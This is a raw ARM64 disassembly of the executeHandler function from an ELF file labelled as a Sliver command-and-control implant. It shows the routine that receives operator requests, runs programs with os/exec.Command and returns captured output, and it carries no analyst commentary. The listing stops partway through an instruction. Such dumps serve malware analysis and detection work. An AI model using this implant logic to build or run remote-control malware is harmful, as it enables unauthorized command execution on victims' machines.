File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    004fc770
    004fc770github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.executeHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    004fc770ldr x16, [x28+16]
    004fc774sub x17, sp, 1280
    004fc778subs xzr, x17, x16
    004fc77cb.ls 0x4fdbe4
    004fc780sub x20, sp, 1408
    004fc784stp x29, x30, [x20-8]
    004fc788add sp, x20, 0
    004fc78csub x29, sp, 8
    004fc790str x0, [sp+1416]
    004fc794str x1, [sp+1424]
    004fc798str x2, [sp+1432]
    004fc79cstr x3, [sp+1440]
    004fc7a0stp xzr, xzr, [sp+336]
    004fc7a4stp xzr, xzr, [sp+216]
    004fc7a8stp xzr, xzr, [sp+184]
    004fc7acstr xzr, [sp+280]
    004fc7b0str xzr, [sp+232]
    004fc7b4adrp x0, 0x195000
    004fc7b8add x0, x0, 800
    004fc7bcbl runtime.newobject
    004fc7c0str x0, [sp+1040]
    004fc7c4adrp x27, 0x54f000
    004fc7c8ldr w1, [x27+3056]
    004fc7cccbz w1, 0x4fc7d4
    004fc7d0b 0x4fc7d8
    004fc7d4
    004fc7d4loc_4fc7d4:
    004fc7d4b 0x4fc7f4
    004fc7d8
    004fc7d8loc_4fc7d8:
    004fc7d8str x0, [sp+1376]
    004fc7dcmov x1, x0
    004fc7e0adrp x0, 0x195000
    004fc7e4add x0, x0, 800
    004fc7e8bl runtime.wbZero
    004fc7ecldr x0, [sp+1376]
    004fc7f0b 0x4fc7f4
    004fc7f4
    004fc7f4loc_4fc7f4:
    004fc7f4mov x20, x0
    004fc7f8adr x27, 16
    004fc7fcstp x29, x27, [sp-24]
    004fc800sub x29, sp, 24
    004fc804bl fn_87cf0
    004fc808sub x29, sp, 8
    004fc80cstr xzr, [x0+128]
    004fc810ldr x4, [sp+1040]
    004fc814str x4, [sp+256]
    004fc818str x4, [sp+1224]
    004fc81cldr x0, [sp+1416]
    004fc820ldr x1, [sp+1424]
    004fc824ldr x2, [sp+1432]
    004fc828adrp x3, 0x218000
    004fc82cadd x3, x3, 352
    004fc830bl google.golang.org/protobuf/proto.Unmarshal
    004fc834str x0, [sp+336]
    004fc838str x1, [sp+344]
    004fc83ccbnz x0, 0x4fc844
    004fc840b 0x4fc908
    004fc844
    004fc844loc_4fc844:
    004fc844add x27, sp, 1208
    004fc848stp xzr, xzr, [x27]
    004fc84cadd x5, sp, 1208
    004fc850str x5, [sp+1008]
    004fc854ldr x5, [sp+336]
    004fc858ldr x6, [sp+344]
    004fc85cstr x5, [sp+992]
    004fc860str x6, [sp+1000]
    004fc864str x5, [sp+984]
    004fc868ldr x5, [sp+984]
    004fc86ccbnz x5, 0x4fc874
    004fc870b 0x4fc884
    004fc874
    004fc874loc_4fc874:
    004fc874ldr x5, [sp+984]
    004fc878ldr x5, [x5+8]
    004fc87cstr x5, [sp+984]
    004fc880b 0x4fc888
    004fc884
    004fc884loc_4fc884:
    004fc884b 0x4fc888
    004fc888
    004fc888loc_4fc888:
    004fc888ldr x5, [sp+1008]
    004fc88cldrsb x27, [x5]
    004fc890ldr x6, [sp+984]
    004fc894ldr x7, [sp+1000]
    004fc898str x6, [x5]
    004fc89cadrp x27, 0x54f000
    004fc8a0ldr w6, [x27+3056]
    004fc8a4cbz w6, 0x4fc8ac
    004fc8a8b 0x4fc8b0
    004fc8ac
    004fc8acloc_4fc8ac:
    004fc8acb 0x4fc8c4
    004fc8b0
    004fc8b0loc_4fc8b0:
    004fc8b0bl runtime.gcWriteBarrier2
    004fc8b4str x7, [x25]
    004fc8b8ldr x6, [x5+8]
    004fc8bcstr x6, [x25+8]
    004fc8c0b 0x4fc8c4
    004fc8c4
    004fc8c4loc_4fc8c4:
    004fc8c4str x7, [x5+8]
    004fc8c8ldr x2, [sp+1008]
    004fc8ccldrsb x27, [x2]
    004fc8d0b 0x4fc8d4
    004fc8d4
    004fc8d4loc_4fc8d4:
    004fc8d4str x2, [sp+1016]
    004fc8d8orr x4, xzr, 1
    004fc8dcstr x4, [sp+1024]
    004fc8e0str x4, [sp+1032]
    004fc8e4adrp x0, 0x1be000
    004fc8e8add x0, x0, 981
    004fc8ecmovz x1, 26
    004fc8f0mov x3, x4
    004fc8f4bl log.Printf
    004fc8f8bl runtime.deferreturn
    004fc8fcldp x29, x30, [sp-8]
    004fc900add sp, sp, 1408
    004fc904ret x30
    004fc908
    004fc908loc_4fc908:
    004fc908adrp x0, 0x18f000
    004fc90cadd x0, x0, 672
    004fc910bl runtime.newobject
    004fc914str x0, [sp+976]
    004fc918adrp x27, 0x54f000
    004fc91cldr w1, [x27+3056]
    004fc920cbz w1, 0x4fc928
    004fc924b 0x4fc92c
    004fc928
    004fc928loc_4fc928:
    004fc928b 0x4fc948
    004fc92c
    004fc92cloc_4fc92c:
    004fc92cstr x0, [sp+1368]
    004fc930mov x1, x0
    004fc934adrp x0, 0x18f000
    004fc938add x0, x0, 672
    004fc93cbl runtime.wbZero
    004fc940ldr x0, [sp+1368]
    004fc944b 0x4fc948
    004fc948
    004fc948loc_4fc948:
    004fc948mov x20, x0
    004fc94cadr x27, 16
    004fc950stp x29, x27, [sp-24]
    004fc954sub x29, sp, 24
    004fc958bl fn_87cf4
    004fc95csub x29, sp, 8
    004fc960ldr x2, [sp+976]
    004fc964str x2, [sp+248]
    004fc968add x27, sp, 1192
    004fc96cstp xzr, xzr, [x27]
    004fc970add x27, sp, 1176
    004fc974stp xzr, xzr, [x27]
    004fc978ldr x2, [sp+256]
    004fc97cldrsb x27, [x2]
    004fc980ldr x0, [x2+8]
    004fc984ldr x1, [x2+16]
    004fc988str x0, [sp+960]
    004fc98cstr x1, [sp+968]
    004fc990bl github.com/bishopfox/sliver/implant/sliver/handlers.expandPath
    004fc994str x0, [sp+1192]
    004fc998str x1, [sp+1200]
    004fc99cstr x2, [sp+1176]
    004fc9a0str x3, [sp+1184]
    004fc9a4ldr x2, [sp+1192]
    004fc9a8ldr x3, [sp+1200]
    004fc9acstr x2, [sp+1384]
    004fc9b0str x3, [sp+1392]
    004fc9b4ldr x2, [sp+1176]
    004fc9b8ldr x3, [sp+1184]
    004fc9bcstr x2, [sp+1344]
    004fc9c0str x3, [sp+1352]
    004fc9c4ldr x2, [sp+1384]
    004fc9c8ldr x3, [sp+1392]
    004fc9ccstr x2, [sp+264]
    004fc9d0str x3, [sp+272]
    004fc9d4ldr x2, [sp+1352]
    004fc9d8ldr x3, [sp+1344]
    004fc9dcstr x3, [sp+336]
    004fc9e0str x2, [sp+344]
    004fc9e4cbnz x3, 0x4fc9ec
    004fc9e8b 0x4fcbbc
    004fc9ec
    004fc9ecloc_4fc9ec:
    004fc9ecadd x27, sp, 1208
    004fc9f0stp xzr, xzr, [x27]
    004fc9f4add x5, sp, 1208
    004fc9f8str x5, [sp+928]
    004fc9fcldr x5, [sp+336]
    004fca00ldr x6, [sp+344]
    004fca04str x5, [sp+912]
    004fca08str x6, [sp+920]
    004fca0cstr x5, [sp+904]
    004fca10ldr x5, [sp+904]
    004fca14cbnz x5, 0x4fca1c
    004fca18b 0x4fca2c
    004fca1c
    004fca1cloc_4fca1c:
    004fca1cldr x5, [sp+904]
    004fca20ldr x5, [x5+8]
    004fca24str x5, [sp+904]
    004fca28b 0x4fca30
    004fca2c
    004fca2cloc_4fca2c:
    004fca2cb 0x4fca30
    004fca30
    004fca30loc_4fca30:
    004fca30ldr x5, [sp+928]
    004fca34ldrsb x27, [x5]
    004fca38ldr x6, [sp+904]
    004fca3cldr x7, [sp+920]
    004fca40str x6, [x5]
    004fca44adrp x27, 0x54f000
    004fca48ldr w6, [x27+3056]
    004fca4ccbz w6, 0x4fca54
    004fca50b 0x4fca58
    004fca54
    004fca54loc_4fca54:
    004fca54b 0x4fca6c
    004fca58
    004fca58loc_4fca58:
    004fca58bl runtime.gcWriteBarrier2
    004fca5cstr x7, [x25]
    004fca60ldr x6, [x5+8]
    004fca64str x6, [x25+8]
    004fca68b 0x4fca6c
    004fca6c
    004fca6cloc_4fca6c:
    004fca6cstr x7, [x5+8]
    004fca70ldr x2, [sp+928]
    004fca74ldrsb x27, [x2]
    004fca78b 0x4fca7c
    004fca7c
    004fca7cloc_4fca7c:
    004fca7cstr x2, [sp+936]
    004fca80orr x4, xzr, 1
    004fca84str x4, [sp+944]
    004fca88str x4, [sp+952]
    004fca8cadrp x0, 0x1b4000
    004fca90add x0, x0, 17
    004fca94orr x1, xzr, 2
    004fca98mov x3, x4
    004fca9cbl fmt.Sprintf
    004fcaa0str x0, [sp+1192]
    004fcaa4str x1, [sp+1200]
    004fcaa8adrp x0, 0x189000
    004fcaacadd x0, x0, 3648
    004fcab0bl runtime.newobject
    004fcab4str x0, [sp+896]
    004fcab8adrp x27, 0x54f000
    004fcabcldr w5, [x27+3056]
    004fcac0cbz w5, 0x4fcac8
    004fcac4b 0x4fcacc
    004fcac8
    004fcac8loc_4fcac8:
    004fcac8b 0x4fcae8
    004fcacc
    004fcaccloc_4fcacc:
    004fcaccstr x0, [sp+1360]
    004fcad0mov x1, x0
    004fcad4adrp x0, 0x189000
    004fcad8add x0, x0, 3648
    004fcadcbl runtime.wbZero
    004fcae0ldr x0, [sp+1360]
    004fcae4b 0x4fcae8
    004fcae8
    004fcae8loc_4fcae8:
    004fcae8mov x20, x0
    004fcaecadr x27, 16
    004fcaf0stp x29, x27, [sp-24]
    004fcaf4sub x29, sp, 24
    004fcaf8bl fn_87cf8
    004fcafcsub x29, sp, 8
    004fcb00ldr x2, [sp+896]
    004fcb04ldrsb x27, [x2]
    004fcb08ldr x3, [sp+1192]
    004fcb0cldr x4, [sp+1200]
    004fcb10str x4, [x2+16]
    004fcb14adrp x27, 0x54f000
    004fcb18ldr w4, [x27+3056]
    004fcb1ccbz w4, 0x4fcb24
    004fcb20b 0x4fcb28
    004fcb24
    004fcb24loc_4fcb24:
    004fcb24b 0x4fcb3c
    004fcb28
    004fcb28loc_4fcb28:
    004fcb28bl runtime.gcWriteBarrier2
    004fcb2cstr x3, [x25]
    004fcb30ldr x4, [x2+8]
    004fcb34str x4, [x25+8]
    004fcb38b 0x4fcb3c
    004fcb3c
    004fcb3cloc_4fcb3c:
    004fcb3cstr x3, [x2+8]
    004fcb40ldr x2, [sp+248]
    004fcb44ldrsb x27, [x2]
    004fcb48ldr x3, [sp+896]
    004fcb4cadrp x27, 0x54f000
    004fcb50ldr w4, [x27+3056]
    004fcb54cbz w4, 0x4fcb5c
    004fcb58b 0x4fcb60
    004fcb5c
    004fcb5cloc_4fcb5c:
    004fcb5cb 0x4fcb74
    004fcb60
    004fcb60loc_4fcb60:
    004fcb60bl runtime.gcWriteBarrier2
    004fcb64str x3, [x25]
    004fcb68ldr x4, [x2+72]
    004fcb6cstr x4, [x25+8]
    004fcb70b 0x4fcb74
    004fcb74
    004fcb74loc_4fcb74:
    004fcb74str x3, [x2+72]
    004fcb78ldr x1, [sp+248]
    004fcb7cstr x1, [sp+1168]
    004fcb80adrp x0, 0x218000
    004fcb84add x0, x0, 384
    004fcb88bl google.golang.org/protobuf/proto.Marshal
    004fcb8cldr x3, [sp+336]
    004fcb90ldr x0, [sp+1416]
    004fcb94ldr x1, [sp+1424]
    004fcb98ldr x4, [sp+344]
    004fcb9cldr x2, [sp+1432]
    004fcba0ldr x26, [sp+1440]
    004fcba4ldr x5, [x26]
    004fcba8blr x5
    004fcbacbl runtime.deferreturn
    004fcbb0ldp x29, x30, [sp-8]
    004fcbb4add sp, sp, 1408
    004fcbb8ret x30
    004fcbbc
    004fcbbcloc_4fcbbc:
    004fcbbcldr x5, [sp+256]
    004fcbc0ldrsb x27, [x5]
    004fcbc4ldr x2, [x5+24]
    004fcbc8ldr x3, [x5+32]
    004fcbccldr x4, [x5+40]
    004fcbd0str x2, [sp+872]
    004fcbd4str x3, [sp+880]
    004fcbd8str x4, [sp+888]
    004fcbdcldr x0, [sp+264]
    004fcbe0ldr x1, [sp+272]
    004fcbe4bl os/exec.Command
    004fcbe8str x0, [sp+352]
    004fcbecldr x5, [sp+256]
    004fcbf0ldrsb x27, [x5]
    004fcbf4ldrb w5, [x5+48]
    004fcbf8tbnz w5, 0, 0x4fcc00
    004fcbfcb 0x4fd8e8
    004fcc00
    004fcc00loc_4fcc00:
    004fcc00adrp x0, 0x156000
    004fcc04add x0, x0, 2048
    004fcc08bl runtime.newobject
    004fcc0cstr x0, [sp+176]
    004fcc10adrp x0, 0x156000
    004fcc14add x0, x0, 2048
    004fcc18bl runtime.newobject
    004fcc1cstr x0, [sp+208]
    004fcc20str x0, [sp+1160]
    004fcc24adrp x1, 0x217000
    004fcc28add x1, x1, 2976
    004fcc2cstr x1, [sp+216]
    004fcc30str x0, [sp+224]
    004fcc34ldr x1, [sp+176]
    004fcc38str x1, [sp+1160]
    004fcc3cadrp x2, 0x217000
    004fcc40add x2, x2, 2976
    004fcc44str x2, [sp+184]
    004fcc48str x1, [sp+192]
    004fcc4cldr x1, [sp+256]
    004fcc50ldrsb x27, [x1]
    004fcc54ldr x1, [x1+80]
    004fcc58cbnz x1, 0x4fcc60
    004fcc5cb 0x4fd01c
    004fcc60
    004fcc60loc_4fcc60:
    004fcc60str xzr, [sp+1152]
    004fcc64add x27, sp, 1176
    004fcc68stp xzr, xzr, [x27]
    004fcc6cldr x2, [sp+256]
    004fcc70ldrsb x27, [x2]
    004fcc74ldr x0, [x2+72]
    004fcc78ldr x1, [x2+80]
    004fcc7cstr x0, [sp+856]
    004fcc80str x1, [sp+864]
    004fcc84bl os.Create
    004fcc88str x0, [sp+1152]
    004fcc8cstr x1, [sp+1176]
    004fcc90str x2, [sp+1184]
    004fcc94ldr x2, [sp+1152]
    004fcc98str x2, [sp+1336]
    004fcc9cldr x2, [sp+1176]
    004fcca0ldr x3, [sp+1184]
    004fcca4str x2, [sp+1320]
    004fcca8str x3, [sp+1328]
    004fccacldr x2, [sp+1336]
    004fccb0str x2, [sp+200]
    004fccb4ldr x2, [sp+1328]
    004fccb8ldr x3, [sp+1320]
    004fccbcstr x3, [sp+320]
    004fccc0str x2, [sp+328]
    004fccc4cbnz x3, 0x4fcccc
    004fccc8b 0x4fce9c
    004fcccc
    004fccccloc_4fcccc:
    004fccccadd x27, sp, 1208
    004fccd0stp xzr, xzr, [x27]
    004fccd4add x5, sp, 1208
    004fccd8str x5, [sp+824]
    004fccdcldr x5, [sp+320]
    004fcce0ldr x6, [sp+328]
    004fcce4str x5, [sp+808]
    004fcce8str x6, [sp+816]
    004fccecstr x5, [sp+800]
    004fccf0ldr x5, [sp+800]
    004fccf4cbnz x5, 0x4fccfc
    004fccf8b 0x4fcd0c
    004fccfc
    004fccfcloc_4fccfc:
    004fccfcldr x5, [sp+800]
    004fcd00ldr x5, [x5+8]
    004fcd04str x5, [sp+800]
    004fcd08b 0x4fcd10
    004fcd0c
    004fcd0cloc_4fcd0c:
    004fcd0cb 0x4fcd10
    004fcd10
    004fcd10loc_4fcd10:
    004fcd10ldr x5, [sp+824]
    004fcd14ldrsb x27, [x5]
    004fcd18ldr x6, [sp+800]
    004fcd1cldr x7, [sp+816]
    004fcd20str x6, [x5]
    004fcd24adrp x27, 0x54f000
    004fcd28ldr w6, [x27+3056]
    004fcd2ccbz w6, 0x4fcd34
    004fcd30b 0x4fcd38
    004fcd34
    004fcd34loc_4fcd34:
    004fcd34b 0x4fcd4c
    004fcd38
    004fcd38loc_4fcd38:
    004fcd38bl runtime.gcWriteBarrier2
    004fcd3cstr x7, [x25]
    004fcd40ldr x6, [x5+8]
    004fcd44str x6, [x25+8]
    004fcd48b 0x4fcd4c
    004fcd4c
    004fcd4cloc_4fcd4c:
    004fcd4cstr x7, [x5+8]
    004fcd50ldr x2, [sp+824]
    004fcd54ldrsb x27, [x2]
    004fcd58b 0x4fcd5c
    004fcd5c
    004fcd5cloc_4fcd5c:
    004fcd5cstr x2, [sp+832]
    004fcd60orr x4, xzr, 1
    004fcd64str x4, [sp+840]
    004fcd68str x4, [sp+848]
    004fcd6cadrp x0, 0x1b4000
    004fcd70add x0, x0, 17
    004fcd74orr x1, xzr, 2
    004fcd78mov x3, x4
    004fcd7cbl fmt.Sprintf
    004fcd80str x0, [sp+1192]
    004fcd84str x1, [sp+1200]
    004fcd88adrp x0, 0x189000
    004fcd8cadd x0, x0, 3648
    004fcd90bl runtime.newobject
    004fcd94str x0, [sp+792]
    004fcd98adrp x27, 0x54f000
    004fcd9cldr w5, [x27+3056]
    004fcda0cbz w5, 0x4fcda8
    004fcda4b 0x4fcdac
    004fcda8
    004fcda8loc_4fcda8:
    004fcda8b 0x4fcdc8
    004fcdac
    004fcdacloc_4fcdac:
    004fcdacstr x0, [sp+1360]
    004fcdb0mov x1, x0
    004fcdb4adrp x0, 0x189000
    004fcdb8add x0, x0, 3648
    004fcdbcbl runtime.wbZero
    004fcdc0ldr x0, [sp+1360]
    004fcdc4b 0x4fcdc8
    004fcdc8
    004fcdc8loc_4fcdc8:
    004fcdc8mov x20, x0
    004fcdccadr x27, 16
    004fcdd0stp x29, x27, [sp-24]
    004fcdd4sub x29, sp, 24
    004fcdd8bl fn_87cf8
    004fcddcsub x29, sp, 8
    004fcde0ldr x2, [sp+792]
    004fcde4ldrsb x27, [x2]
    004fcde8ldr x3, [sp+1192]
    004fcdecldr x4, [sp+1200]
    004fcdf0str x4, [x2+16]
    004fcdf4adrp x27, 0x54f000
    004fcdf8ldr w4, [x27+3056]
    004fcdfccbz w4, 0x4fce04
    004fce00b 0x4fce08
    004fce04
    004fce04loc_4fce04:
    004fce04b 0x4fce1c
    004fce08
    004fce08loc_4fce08:
    004fce08bl runtime.gcWriteBarrier2
    004fce0cstr x3, [x25]
    004fce10ldr x4, [x2+8]
    004fce14str x4, [x25+8]
    004fce18b 0x4fce1c
    004fce1c
    004fce1cloc_4fce1c:
    004fce1cstr x3, [x2+8]
    004fce20ldr x2, [sp+248]
    004fce24ldrsb x27, [x2]
    004fce28ldr x3, [sp+792]
    004fce2cadrp x27, 0x54f000
    004fce30ldr w4, [x27+3056]
    004fce34cbz w4, 0x4fce3c
    004fce38b 0x4fce40
    004fce3c
    004fce3cloc_4fce3c:
    004fce3cb 0x4fce54
    004fce40
    004fce40loc_4fce40:
    004fce40bl runtime.gcWriteBarrier2
    004fce44str x3, [x25]
    004fce48ldr x4, [x2+72]
    004fce4cstr x4, [x25+8]
    004fce50b 0x4fce54
    004fce54
    004fce54loc_4fce54:
    004fce54str x3, [x2+72]
    004fce58ldr x1, [sp+248]
    004fce5cstr x1, [sp+1168]
    004fce60adrp x0, 0x218000
    004fce64add x0, x0, 384
    004fce68bl google.golang.org/protobuf/proto.Marshal
    004fce6cldr x3, [sp+320]
    004fce70ldr x0, [sp+1416]
    004fce74ldr x1, [sp+1424]
    004fce78ldr x4, [sp+328]
    004fce7cldr x2, [sp+1432]
    004fce80ldr x26, [sp+1440]
    004fce84ldr x5, [x26]
    004fce88blr x5
    004fce8cbl runtime.deferreturn
    004fce90ldp x29, x30, [sp-8]
    004fce94add sp, sp, 1408
    004fce98ret x30
    004fce9c
    004fce9cloc_4fce9c:
    004fce9cldr x1, [sp+200]
    004fcea0str x1, [sp+1312]
    004fcea4add x27, sp, 768
    004fcea8stp xzr, xzr, [x27]
    004fceacadd x1, sp, 768
    004fceb0str x1, [sp+784]
    004fceb4ldrsb x27, [x1]
    004fceb8adrp x2, 4096
    004fcebcadd x2, x2, 3232
    004fcec0str x2, [x1]
    004fcec4ldrsb x27, [x1]
    004fcec8ldr x2, [sp+1312]
    004fceccadrp x27, 0x54f000
    004fced0ldr w3, [x27+3056]
    004fced4cbz w3, 0x4fcedc
    004fced8b 0x4fcee0
    004fcedc
    004fcedcloc_4fcedc:
    004fcedcb 0x4fcef4
    004fcee0
    004fcee0loc_4fcee0:
    004fcee0bl runtime.gcWriteBarrier2
    004fcee4str x2, [x25]
    004fcee8ldr x3, [x1+8]
    004fceecstr x3, [x25+8]
    004fcef0b 0x4fcef4
    004fcef4
    004fcef4loc_4fcef4:
    004fcef4str x2, [x1+8]
    004fcef8str x1, [sp+144]
    004fcefcadd x0, sp, 120
    004fcf00bl runtime.deferprocStack
    004fcf04subs xzr, x0, 0
    004fcf08b.ne 0x4fd00c
    004fcf0cb 0x4fcf10
    004fcf10
    004fcf10loc_4fcf10:
    004fcf10ldr x1, [sp+200]
    004fcf14str x1, [sp+1152]
    004fcf18adrp x0, 0x217000
    004fcf1cadd x0, x0, 2168
    004fcf20bl bufio.NewWriter
    004fcf24str x0, [sp+280]
    004fcf28str x0, [sp+1144]
    004fcf2cldr x2, [sp+208]
    004fcf30str x2, [sp+1160]
    004fcf34add x27, sp, 1112
    004fcf38stp xzr, xzr, [x27]
    004fcf3cadd x27, sp, 1128
    004fcf40stp xzr, xzr, [x27]
    004fcf44add x2, sp, 1112
    004fcf48str x2, [sp+736]
    004fcf4cldr x2, [sp+1144]
    004fcf50str x2, [sp+728]
    004fcf54ldr x3, [sp+736]
    004fcf58ldrsb x27, [x3]
    004fcf5cadrp x4, 0x218000
    004fcf60add x4, x4, 416
    004fcf64str x4, [x3]
    004fcf68adrp x27, 0x54f000
    004fcf6cldr w4, [x27+3056]
    004fcf70cbz w4, 0x4fcf78
    004fcf74b 0x4fcf7c
    004fcf78
    004fcf78loc_4fcf78:
    004fcf78b 0x4fcf90
    004fcf7c
    004fcf7cloc_4fcf7c:
    004fcf7cbl runtime.gcWriteBarrier2
    004fcf80str x2, [x25]
    004fcf84ldr x4, [x3+8]
    004fcf88str x4, [x25+8]
    004fcf8cb 0x4fcf90
    004fcf90
    004fcf90loc_4fcf90:
    004fcf90str x2, [x3+8]
    004fcf94ldr x3, [sp+1160]
    004fcf98str x3, [sp+720]
    004fcf9cldr x4, [sp+736]
    004fcfa0ldrsb x27, [x4]
    004fcfa4adrp x5, 0x217000
    004fcfa8add x5, x5, 2976
    004fcfacstr x5, [x4+16]
    004fcfb0adrp x27, 0x54f000
    004fcfb4ldr w5, [x27+3056]
    004fcfb8cbz w5, 0x4fcfc0
    004fcfbcb 0x4fcfc4
    004fcfc0
    004fcfc0loc_4fcfc0:
    004fcfc0b 0x4fcfd8
    004fcfc4
    004fcfc4loc_4fcfc4:
    004fcfc4bl runtime.gcWriteBarrier2
    004fcfc8str x3, [x25]
    004fcfccldr x5, [x4+24]
    004fcfd0str x5, [x25+8]
    004fcfd4b 0x4fcfd8
    004fcfd8
    004fcfd8loc_4fcfd8:
    004fcfd8str x3, [x4+24]
    004fcfdcldr x0, [sp+736]
    004fcfe0ldrsb x27, [x0]
    004fcfe4b 0x4fcfe8
    004fcfe8
    004fcfe8loc_4fcfe8:
    004fcfe8str x0, [sp+744]
    004fcfecorr x2, xzr, 2
    004fcff0str x2, [sp+752]
    004fcff4str x2, [sp+760]
    004fcff8mov x1, x2
    004fcffcbl io.MultiWriter
    004fd000str x0, [sp+216]
    004fd004str x1, [sp+224]
    004fd008b 0x4fd020
    004fd00c
    004fd00cloc_4fd00c:
    004fd00cbl runtime.deferreturn
    004fd010ldp x29, x30, [sp-8]
    004fd014add sp, sp, 1408
    004fd018ret x30
    004fd01c
    004fd01cloc_4fd01c:
    004fd01cb 0x4fd020
    004fd020
    004fd020loc_4fd020:
    004fd020ldr x2, [sp+256]
    004fd024ldrsb x27, [x2]
    004fd028ldr x2, [x2+64]
    004fd02ccbnz x2, 0x4fd034
    004fd030b 0x4fd3f0
    004fd034
    004fd034loc_4fd034:
    004fd034str xzr, [sp+1152]
    004fd038add x27, sp, 1176
    004fd03cstp xzr, xzr, [x27]
    004fd040ldr x2, [sp+256]
    004fd044ldrsb x27, [x2]
    004fd048ldr x0, [x2+56]
    004fd04cldr x1, [x2+64]
    004fd050str x0, [sp+704]
    004fd054str x1, [sp+712]
    004fd058bl os.Create
    004fd05cstr x0, [sp+1152]
    004fd060str x1, [sp+1176]
    004fd064str x2, [sp+1184]
    004fd068ldr x2, [sp+1152]
    004fd06cstr x2, [sp+1304]
    004fd070ldr x2, [sp+1176]
    004fd074ldr x3, [sp+1184]
    004fd078str x2, [sp+1288]
    004fd07cstr x3, [sp+1296]
    004fd080ldr x2, [sp+1304]
    004fd084str x2, [sp+168]
    004fd088ldr x2, [sp+1296]
    004fd08cldr x3, [sp+1288]
    004fd090str x3, [sp+304]
    004fd094str x2, [sp+312]
    004fd098cbnz x3, 0x4fd0a0
    004fd09cb 0x4fd270
    004fd0a0
    004fd0a0loc_4fd0a0:
    004fd0a0add x27, sp, 1208
    004fd0a4stp xzr, xzr, [x27]
    004fd0a8add x5, sp, 1208
    004fd0acstr x5, [sp+672]
    004fd0b0ldr x5, [sp+304]
    004fd0b4ldr x6, [sp+312]
    004fd0b8str x5, [sp+656]
    004fd0bcstr x6, [sp+664]
    004fd0c0str x5, [sp+648]
    004fd0c4ldr x5, [sp+648]
    004fd0c8cbnz x5, 0x4fd0d0
    004fd0ccb 0x4fd0e0
    004fd0d0
    004fd0d0loc_4fd0d0:
    004fd0d0ldr x5, [sp+648]
    004fd0d4ldr x5, [x5+8]
    004fd0d8str x5, [sp+648]
    004fd0dcb 0x4fd0e4
    004fd0e0
    004fd0e0loc_4fd0e0:
    004fd0e0b 0x4fd0e4
    004fd0e4
    004fd0e4loc_4fd0e4:
    004fd0e4ldr x5, [sp+672]
    004fd0e8ldrsb x27, [x5]
    004fd0ecldr x6, [sp+648]
    004fd0f0ldr x7, [sp+664]
    004fd0f4str x6, [x5]
    004fd0f8adrp x27, 0x54e000
    004fd0fcldr w6, [x27+3056]
    004fd100cbz w6, 0x4fd108
    004fd104b 0x4fd10c
    004fd108
    004fd108loc_4fd108:
    004fd108b 0x4fd120
    004fd10c
    004fd10cloc_4fd10c:
    004fd10cbl runtime.gcWriteBarrier2
    004fd110str x7, [x25]
    004fd114ldr x6, [x5+8]
    004fd118str x6, [x25+8]
    004fd11cb 0x4fd120
    004fd120
    004fd120loc_4fd120:
    004fd120str x7, [x5+8]
    004fd124ldr x2, [sp+672]
    004fd128ldrsb x27, [x2]
    004fd12cb 0x4fd130
    004fd130
    004fd130loc_4fd130:
    004fd130str x2, [sp+680]
    004fd134orr x4, xzr, 1
    004fd138str x4, [sp+688]
    004fd13cstr x4, [sp+696]
    004fd140adrp x0, 0x1b3000
    004fd144add x0, x0, 17
    004fd148orr x1, xzr, 2
    004fd14cmov x3, x4
    004fd150bl fmt.Sprintf
    004fd154str x0, [sp+1192]
    004fd158str x1, [sp+1200]
    004fd15cadrp x0, 0x188000
    004fd160add x0, x0, 3648
    004fd164bl runtime.newobject
    004fd168str x0, [sp+640]
    004fd16cadrp x27, 0x54e000
    004fd170ldr w5, [x27+3056]
    004fd174cbz w5, 0x4fd17c
    004fd178b 0x4fd180
    004fd17c
    004fd17cloc_4fd17c:
    004fd17cb 0x4fd19c
    004fd180
    004fd180loc_4fd180:
    004fd180str x0, [sp+1360]
    004fd184mov x1, x0
    004fd188adrp x0, 0x188000
    004fd18cadd x0, x0, 3648
    004fd190bl runtime.wbZero
    004fd194ldr x0, [sp+1360]
    004fd198b 0x4fd19c
    004fd19c
    004fd19cloc_4fd19c:
    004fd19cmov x20, x0
    004fd1a0adr x27, 16
    004fd1a4stp x29, x27, [sp-24]
    004fd1a8sub x29, sp, 24
    004fd1acbl fn_87cf8
    004fd1b0sub x29, sp, 8
    004fd1b4ldr x2, [sp+640]
    004fd1b8ldrsb x27, [x2]
    004fd1bcldr x3, [sp+1192]
    004fd1c0ldr x4, [sp+1200]
    004fd1c4str x4, [x2+16]
    004fd1c8adrp x27, 0x54e000
    004fd1ccldr w4, [x27+3056]
    004fd1d0cbz w4, 0x4fd1d8
    004fd1d4b 0x4fd1dc
    004fd1d8
    004fd1d8loc_4fd1d8:
    004fd1d8b 0x4fd1f0
    004fd1dc
    004fd1dcloc_4fd1dc:
    004fd1dcbl runtime.gcWriteBarrier2
    004fd1e0str x3, [x25]
    004fd1e4ldr x4, [x2+8]
    004fd1e8str x4, [x25+8]
    004fd1ecb 0x4fd1f0
    004fd1f0
    004fd1f0loc_4fd1f0:
    004fd1f0str x3, [x2+8]
    004fd1f4ldr x2, [sp+248]
    004fd1f8ldrsb x27, [x2]
    004fd1fcldr x3, [sp+640]
    004fd200adrp x27, 0x54e000
    004fd204ldr w4, [x27+3056]
    004fd208cbz w4, 0x4fd210
    004fd20cb 0x4fd214
    004fd210
    004fd210loc_4fd210:
    004fd210b 0x4fd228
    004fd214
    004fd214loc_4fd214:
    004fd214bl runtime.gcWriteBarrier2
    004fd218str x3, [x25]
    004fd21cldr x4, [x2+72]
    004fd220str x4, [x25+8]
    004fd224b 0x4fd228
    004fd228
    004fd228loc_4fd228:
    004fd228str x3, [x2+72]
    004fd22cldr x1, [sp+248]
    004fd230str x1, [sp+1168]
    004fd234adrp x0, 0x217000
    004fd238add x0, x0, 384
    004fd23cbl google.golang.org/protobuf/proto.Marshal
    004fd240ldr x3, [sp+304]
    004fd244ldr x0, [sp+1416]
    004fd248ldr x1, [sp+1424]
    004fd24cldr x4, [sp+312]
    004fd250ldr x2, [sp+1432]
    004fd254ldr x26, [sp+1440]
    004fd258ldr x5, [x26]
    004fd25cblr x5
    004fd260bl runtime.deferreturn
    004fd264ldp x29, x30, [sp-8]
    004fd268add sp, sp, 1408
    004fd26cret x30
    004fd270
    004fd270loc_4fd270:
    004fd270ldr x1, [sp+168]
    004fd274str x1, [sp+1280]
    004fd278add x27, sp, 616
    004fd27cstp xzr, xzr, [x27]
    004fd280add x1, sp, 616
    004fd284str x1, [sp+632]
    004fd288ldrsb x27, [x1]
    004fd28cadrp x2, 0
